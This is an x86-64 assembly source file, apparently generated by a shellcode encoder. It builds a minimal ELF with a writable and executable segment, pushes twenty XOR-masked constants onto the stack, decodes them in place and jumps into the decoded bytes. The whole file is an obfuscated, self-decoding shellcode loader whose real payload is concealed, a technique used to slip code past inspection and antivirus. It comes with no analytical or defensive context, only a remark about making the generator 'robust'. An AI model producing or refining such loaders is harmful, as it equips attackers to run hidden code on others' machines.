yay, its generating working code, time to make it robust

[bits 64]
section .text
global _start
org 0x08048000
ehdr:                               ; Elf64_Ehdr
 db 0x7F, "ELF",                    ;   e_ident
 times 12 db      0
 dw 2                               ;   e_type
 dw 62                              ;   e_machine
 dd 1                               ;   e_version
 dq _start                          ;   e_entry
 dq phdr - $$                       ;   e_phoff
 dq 0                               ;   e_shoff
 dd 0                               ;   e_flags
 dw ehdrsize                        ;   e_ehsize
 dw phdrsize                        ;   e_phentsize
 dw 1                               ;   e_phnum
 dw 0                               ;   e_shentsize
 dw 0                               ;   e_shnum
 dw 0                               ;   e_shstrndx
 ehdrsize equ $ - ehdr
phdr:                               ; Elf64_Phdr
 dd 1                               ;   p_type
 dd 7                               ;   p_flags
 dq 0                               ;   p_offset
 dq $$                              ;   p_vaddr
 dq $$                              ;   p_paddr
 dq filesize                        ;   p_filesz
 dq filesize                        ;   p_memsz
 dq 0x1000                          ;   p_align
 phdrsize equ $ - phdr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_start:
    mov rax, 0x4732727418c6cccc
    push rax
    xor dword [rsp+4], 0x423d2a48
    xor dword [rsp], 0x72393333

    mov rax, 0x009f763e0a632262
    push rax
    xor dword [rsp+4], 0x6a762a6e
    xor dword [rsp], 0x4b662d3d

    mov rax, 0x187603270a56210b
    push rax
    xor dword [rsp+4], 0x49375b24
    xor dword [rsp], 0x60532e53

    mov rax, 0x533c6f6562531504
    push rax
    xor dword [rsp+4], 0x68563031
    xor dword [rsp], 0x35537d77

    mov rax, 0x4e593b0e1f8e3306
    push rax
    xor dword [rsp+4], 0x6137526c
    xor dword [rsp], 0x30317b50

    mov rax, 0x293c9f055a560c0a
    push rax
    xor dword [rsp+4], 0x736a6970
    xor dword [rsp], 0x5f59542b

    mov rax, 0x2093d06d044d496f
    push rax
    xor dword [rsp+4], 0x4a5d2f25
    xor dword [rsp], 0x5a4e235d

    mov rax, 0x28587908456155c9
    push rax
    xor dword [rsp+4], 0x5d604e3e
    xor dword [rsp], 0x70652d48

    mov rax, 0x6f69136f1362555d
    push rax
    xor dword [rsp+4], 0x2e55665b
    xor dword [rsp], 0x20506465

    mov rax, 0xb66e7d37323d106f
    push rax
    xor dword [rsp+4], 0x372f7838
    xor dword [rsp], 0x68357a31

    mov rax, 0x1766070a051773ed
    push rax
    xor dword [rsp+4], 0x4727585b
    xor dword [rsp], 0x444f213f

    mov rax, 0x7a0ad2085bd7f50e
    push rax
    xor dword [rsp+4], 0x4b426d75
    xor dword [rsp], 0x5a2f7646

    mov rax, 0x43403f4437051e61
    push rax
    xor dword [rsp+4], 0x464f677d
    xor dword [rsp], 0x5d556b61

    mov rax, 0xb4a13b613e7d7844
    push rax
    xor dword [rsp+4], 0x4c227364
    xor dword [rsp], 0x3125522e

    mov rax, 0x1b6a1c351f2d053b
    push rax
    xor dword [rsp+4], 0x417a766b
    xor dword [rsp], 0x4b2f213f

    mov rax, 0x87413c44653fa24c
    push rax
    xor dword [rsp+4], 0x41782746
    xor dword [rsp], 0x417b652a

    mov rax, 0x137ea219641f351b
    push rax
    xor dword [rsp+4], 0x412c7028
    xor dword [rsp], 0x2c467444

    mov rax, 0x7f695f4e6907620b
    push rax
    xor dword [rsp+4], 0x2f395a41
    xor dword [rsp], 0x315d3c54

    mov rax, 0x220d50323428122b
    push rax
    xor dword [rsp+4], 0x20675158
    xor dword [rsp], 0x34423b41

    mov rax, 0x67393dc9b3d4cab8
    push rax
    xor dword [rsp+4], 0x3f786959
    xor dword [rsp], 0x23445a28

    push rsp
    ret
filesize equ $ - $$